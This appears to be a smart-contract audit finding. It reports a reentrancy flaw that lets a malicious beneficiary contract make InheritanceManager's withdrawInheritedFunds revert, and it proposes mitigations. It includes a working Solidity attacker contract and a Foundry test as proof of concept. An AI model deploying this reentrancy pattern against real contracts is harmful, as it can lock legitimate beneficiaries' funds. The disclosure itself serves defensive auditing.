Description
The InheritanceManager::withdrawInheritedFunds can be reentered if one of the added beneficiaries is a malicious contract. Regardless of whether it drains the contract's funds or not, it could still render withdrawInheritedFunds inoperable, as it would fail to execute successfully.
function withdrawInheritedFunds(address _asset) external {
if (!isInherited) {
revert NotYetInherited();
}
uint256 divisor = beneficiaries.length;
if (_asset == address(0)) {
uint256 ethAmountAvailable = address(this).balance;
uint256 amountPerBeneficiary = ethAmountAvailable / divisor;
for (uint256 i = 0; i < divisor; i++) {
address payable beneficiary = payable(beneficiaries[i]);
@> (bool success,) = beneficiary.call{value: amountPerBeneficiary}("");
require(success, "something went wrong");
}
} else {
uint256 assetAmountAvailable = IERC20(_asset).balanceOf(address(this));
uint256 amountPerBeneficiary = assetAmountAvailable / divisor;
for (uint256 i = 0; i < divisor; i++) {
IERC20(_asset).safeTransfer(beneficiaries[i], amountPerBeneficiary);
}
}
}
Impact
This could make the InheritanceManager::withdrawInheritedFunds function inoperable.
Tools Used
-
Slither
INFO:Detectors:
InheritanceManager.withdrawInheritedFunds(address) (src/InheritanceManager.sol#236-256) sends eth to arbitrary user
Dangerous calls:
\- (success,None) = beneficiary.call{value: amountPerBeneficiary}() (src/InheritanceManager.sol#246)
Reference: <https:
-
Manual Code Review
Proof of Concept
Add the following contract to the InheritanceManagerTest.t.sol file:
contract Attacker {
InheritanceManager inheritanceManager;
constructor(InheritanceManager _inheritanceManager) {
inheritanceManager = _inheritanceManager;
}
function attack() internal {
inheritanceManager.withdrawInheritedFunds(address(0));
}
receive() external payable {
attack();
}
fallback() external payable {
attack();
}
}
Then, add the following test function to the InheritanceManagerTest contract:
function test_exploitWithdrawInheritedFunds() public {
address user2 = makeAddr("user2");
Attacker attackerContract = new Attacker(im);
vm.startPrank(owner);
im.addBeneficiery(user1);
im.addBeneficiery(user2);
im.addBeneficiery(address(attackerContract));
vm.stopPrank();
vm.warp(1);
vm.deal(address(im), 9e18);
vm.warp(1 + 90 days);
vm.startPrank(user1);
im.inherit();
im.withdrawInheritedFunds(address(0));
vm.stopPrank();
}
Now, the execution of this test function would revert, causing the withdrawal to fail due to the addition of attackerContract as a beneficiary, despite user1 and user2 being non-malicious/legal beneficiaries.
Recommended Mitigation
Even adding the available nonReentrant modifier wouldn't suffice in this case. So, the possible solutions could be:
Either, modify the InheritanceManager::withdrawInheritedFunds to withdraw the inherited funds per beneficiary individually instead of iterating, like:
error BeneficiaryDoesNotExist();
uint256 numberOfWithdrawals;
modifier isValidBeneficiary() {
bool beneficiaryExists;
for (uint256 i = 0; i < beneficiaries.length; i++) {
if (msg.sender == beneficiaries[i]) {
beneficiaryExists = true;
break;
}
}
if (!beneficiaryExists) {
revert BeneficiaryDoesNotExist();
}
_;
}
* @dev called by the beneficiaries to disperse remaining assets within the contract in equal parts.
* @notice use address(0) to disperse ether
* @param _asset asset address to disperse
*/
function withdrawInheritedFunds(address _asset) external isValidBeneficiary {
if (!isInherited) {
revert NotYetInherited();
}
uint256 divisor = beneficiaries.length - numberOfWithdrawals;
numberOfWithdrawals += 1;
if (_asset == address(0)) {
uint256 ethAmountAvailable = address(this).balance;
uint256 amountPerBeneficiary = ethAmountAvailable / divisor;
(bool success,) = payable(msg.sender).call{value: amountPerBeneficiary}("");
require(success, "something went wrong");
} else {
uint256 assetAmountAvailable = IERC20(_asset).balanceOf(address(this));
uint256 amountPerBeneficiary = assetAmountAvailable / divisor;
IERC20(_asset).safeTransfer(msg.sender, amountPerBeneficiary);
}
}
Or, simply add a check/modifier in the InheritanceManager::addBeneficiary function to prevent adding a contract address as a beneficiary, like:
error BeneficiaryCannotBeAContract();
modifier notContract(address account) {
uint256 size;
assembly {
size := extcodesize(account)
}
if (size > 0) {
revert BeneficiaryCannotBeAContract();
}
_;
}
* @dev adds a beneficiary for possible inheritance of funds.
* @param _beneficiary beneficiary address
*/
function addBeneficiery(address _beneficiary) external onlyOwner notContract(_beneficiary) {
beneficiaries.push(_beneficiary);
_setDeadline();
}
